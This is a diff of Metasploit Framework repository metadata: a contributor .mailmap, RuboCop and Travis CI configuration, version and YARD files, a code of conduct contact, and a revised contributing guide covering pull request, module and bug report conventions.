lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -47,21 +61,20 @@ wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
Chao-mu <Chao-Mu@github> <chao.mu@minorcrash.com>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
claudijd <claudijd@github> Jonathan Claudius <claudijd@yahoo.com>
@@ -70,32 +83,24 @@ corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
espreto <espreto@github> <robertoespreto@gmail.com>
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
FireFart <FireFart@github> <firefart@gmail.com>
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
gmikeska-r7 <gmikeska-r7@github> <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <=>
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <YOUR_USERNAME_FOR_EMAIL>
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
h00die <h00die@github> <h00die@users.noreply.github.com>
h00die <h00die@github> <mike@shorebreaksecurity.com>
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <x@hdm.io>
jabra <jabra@github> <jabra@spl0it.org>
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
jcran <jcran@github> <jcran@0x0e.org>
jcran <jcran@github> <jcran@pentestify.com>
jcran <jcran@github> <jcran@pwnieexpress.com>
@@ -103,25 +108,18 @@ jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
juanvazquez <juanvazquez@github> jvazquez-r7 <juan.vazquez@metasploit.com>
juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -141,26 +139,17 @@ r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
rep <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
rep <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
RageLtMan <sempervictus@github> <rageltman [at] sempervictus>
RageLtMan <sempervictus@github> <rageltman@sempervictus.com>
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
rwhitcroft <rwhitcroft@github> <rwhitcroft.github@gmail.com>
rwhitcroft <rwhitcroft@github> <rwhitcroft@gmail.com>
rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -168,11 +157,10 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> root <void-in@users.noreply.github.com>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
+15 -174
View File
@@ -8,212 +8,63 @@
# inherit_from: .rubocop_todo.yml
AllCops:
TargetRubyVersion: 2.4
require:
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
- ./lib/rubocop/cop/layout/module_description_indentation.rb
Layout/ModuleHashOnNewLine:
Enabled: true
Layout/ModuleDescriptionIndentation:
Enabled: true
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
Style/ClassAndModuleChildren:
Enabled: false
Description: 'Forced nesting is harmful for grepping and general code comprehension'
Metrics/AbcSize:
Enabled: false
Description: 'This is often a red-herring'
Metrics/CyclomaticComplexity:
Enabled: false
Description: 'This is often a red-herring'
Metrics/PerceivedComplexity:
Enabled: false
Description: 'This is often a red-herring'
Style/TernaryParentheses:
Enabled: false
Description: 'This outright produces bugs'
Style/FrozenStringLiteralComment:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
Naming/VariableNumber:
Description: 'To make it easier to use reference code, disable this cop'
Enabled: false
Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
Exclude:
- 'modules/**/*'
Layout/FirstArgumentIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/ArgumentAlignment:
Enabled: true
EnforcedStyle: with_first_argument
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementLineBreak:
Enabled: true
Description: 'Enforce consistency by breaking hash elements on to new lines'
Layout/SpaceInsideArrayLiteralBrackets:
Enabled: false
Description: 'Almost all module metadata have space in brackets'
Style/GuardClause:
Enabled: false
Description: 'This often introduces bugs in tested code'
Style/EmptyLiteral:
Enabled: false
Description: 'This looks awkward when you mix empty and non-empty literals'
Style/NegatedIf:
Enabled: false
Description: 'This often introduces bugs in tested code'
Style/ConditionalAssignment:
Enabled: false
Description: 'This is confusing for folks coming from other languages'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
Enabled: false
Style/ParenthesesAroundCondition:
Enabled: false
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
Style/TrailingCommaInArrayLiteral:
Enabled: false
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
EnforcedStyle: 'when_needed'
Metrics/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Metrics/BlockLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Metrics/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Naming/MethodParameterName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/RedundantPercentQ:
Style/UnneededPercentQ:
Enabled: false
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/FirstArrayElementLineBreak:
Enabled: true
Description: 'This cop checks for a line break before the first element in a multi-line array.'
Layout/FirstArrayElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful to force values within the register_options array to have sane indentation'
Layout/EmptyLinesAroundClassBody:
Style/SpaceInsideBrackets:
Enabled: false
Description: 'these are used to increase readability'
Description: 'Until module template are final, most modules will fail this.'
Layout/EmptyLinesAroundMethodBody:
Style/StringLiterals:
Enabled: false
Description: 'these are used to increase readability'
Layout/ExtraSpacing:
Description: 'Do not use unnecessary spacing.'
Enabled: true
# When true, allows most uses of extra spacing if the intent is to align
# things with the previous or next line, not counting empty lines or comment
# lines.
AllowForAlignment: false
# When true, allows things like 'obj.meth(arg) # comment',
# rather than insisting on 'obj.meth(arg) # comment'.
# If done for alignment, either this OR AllowForAlignment will allow it.
AllowBeforeTrailingComments: false
# When true, forces the alignment of `=` in assignments on consecutive lines.
ForceEqualSignAlignment: false
Style/For:
Enabled: false
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
Description: 'Single vs double quote fights are largely unproductive.'
Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'
Style/IfUnlessModifier:
Enabled: false
Description: 'This style might save a couple of lines, but often makes code less clear'
Style/PercentLiteralDelimiters:
Description: 'Use `%`-literal delimiters consistently.'
Enabled: true
# Specify the default preferred delimiter for all types with the 'default' key
# Override individual delimiters (even with default specified) by specifying
# an individual key
PreferredDelimiters:
default: ()
'%i': '[]'
'%I': '[]'
'%r': '{}'
'%w': '[]'
'%W': '[]'
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
VersionChanged: '0.48.1'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
@@ -228,16 +79,6 @@ Style/RedundantBegin:
# end
- 'modules/**/*'
Style/SafeNavigation:
Description: >-
This cop transforms usages of a method call safeguarded by
a check for the existence of the object to
safe navigation (`&.`).
This has been disabled as in some scenarios it produced invalid code, and disobeyed the 'AllowedMethods'
configuration.
Enabled: false
Documentation:
Exclude:
- 'modules/**/*'
+1 -1
View File
@@ -1 +1 @@
2.6.6
2.3.1
+7 -34
View File
@@ -1,40 +1,24 @@
dist: trusty
sudo: false
group: stable
bundler_args: --without coverage development pcap
cache: bundler
addons:
postgresql: '9.6'
postgresql: '9.3'
apt:
packages:
- libpcap-dev
- graphviz
language: ruby
rvm:
- '2.5.8'
- '2.6.6'
- '2.3.1'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
# Used for testing the remote data service
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1'
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
matrix:
fast_finish: true
jobs:
# build docker image
include:
- env: CMD="/usr/bin/docker-compose build" DOCKER="true"
# we do not need any setup
before_install: skip
install: skip
before_script:
- curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
- chmod +x docker-compose
- sudo mv docker-compose /usr/bin
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
@@ -42,22 +26,14 @@ before_install:
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
# Update the bundler
- gem update --system 3.0.6
- gem install bundler
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
- bundle exec rake db:create
- bundle exec rake db:migrate
# fail build if db/schema.rb update is not committed
- git diff --exit-code db/schema.rb
script:
- echo "${CMD}"
# we need travis_wait because the Docker build job can take longer than 10 minutes
#- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
# docker_wait is currently broken on travis-ci, so let's just run CMD directly for now
- bash -c "${CMD}"
# fail build if db/schema.rb update is not committed
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
notifications:
irc: "irc.freenode.org#msfnotify"
@@ -70,6 +46,3 @@ branches:
except:
- gh-pages
- metakitty
services:
- docker
+1 -1
View File
@@ -2,7 +2,7 @@
--exclude samples/
--exclude \.ut\.rb/
--exclude \.ts\.rb/
--files CONTRIBUTING.md,COPYING,LICENSE
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
app/**/*.rb
lib/msf/**/*.rb
lib/metasploit/**/*.rb
+1 -1
View File
@@ -37,7 +37,7 @@ when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report directly to
caitlin_condon@rapid7.com or todb@metasploit.com.
egypt@metasploit.com or todb@metasploit.com.
All complaints will be reviewed and investigated and will result in a
response that is deemed necessary and appropriate to the circumstances.
+80 -68
View File
@@ -1,108 +1,120 @@
# Hello, World!
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
How ironic! Please take a look at Rapid7's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
your report to security@rapid7.com using our [PGP key].
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new) with detailed information about your issue or idea:
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
- [Add module documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation). New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
If you care not to follow these rules, your contribution **will** be
closed. Sorry!
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit). It will help you to get started and avoid some common mistakes.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
### Code Contribution Do's & Don'ts:
--
#### <u>Pull Requests</u>
**Pull request [PR#9966] is a good example to follow.**
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
* Protect the process.
* Ensures users are aware of commits on the branch being considered for merge.
* Allows for a location for more commits to be offered without mingling with other contributor changes.
* Allows contributors to make progress while a PR is still being reviewed.
* **Do** stick to the [Ruby style guide].
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Don't** use the default merge messages when merging from other branches.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
### Pull Requests
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description.
* **Do** [reference associated issues] in your pull request description
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
#### <u>New Modules</u>
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
* **Do** use the many module mixin [API]s.
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation] showing sample run-throughs.
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
* **Do** include instructions on how to setup the vulnerable environment or software
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
#### <u>Library Code</u>
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
#### Scripts
* **Don't** submit new [scripts]. Scripts are shipped as examples for
automating local tasks, and anything "serious" can be done with post
modules and local exploits.
#### Library Code
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### <u>Bug Fixes</u>
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
* **Do** include a link to any corresponding [Issues] in the format of
`See #1234` in your commit description.
## Bug Reports
Please report vulnerabilities in Rapid7 software directly to security@rapid7.com. For more on our disclosure policy and Rapid7's approach to coordinated disclosure, [head over here](https://www.rapid7.com/security).
When reporting Metasploit issues:
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports; search for your bug before filing a new report.
* **Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
curve, so keep it up!
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
[Report a security vulnerability in Metasploit itself]:https://www.rapid7.com/disclosure.jsp
[development environment]:http://r-7.co/MSF-DEV
[proof-of-concept exploits]:https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
[Rubocop]:https://rubygems.org/search?query=rubocop
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://www.betterspecs.org/
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Metasploit Slack]:https://www.metasploit.com/slack
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
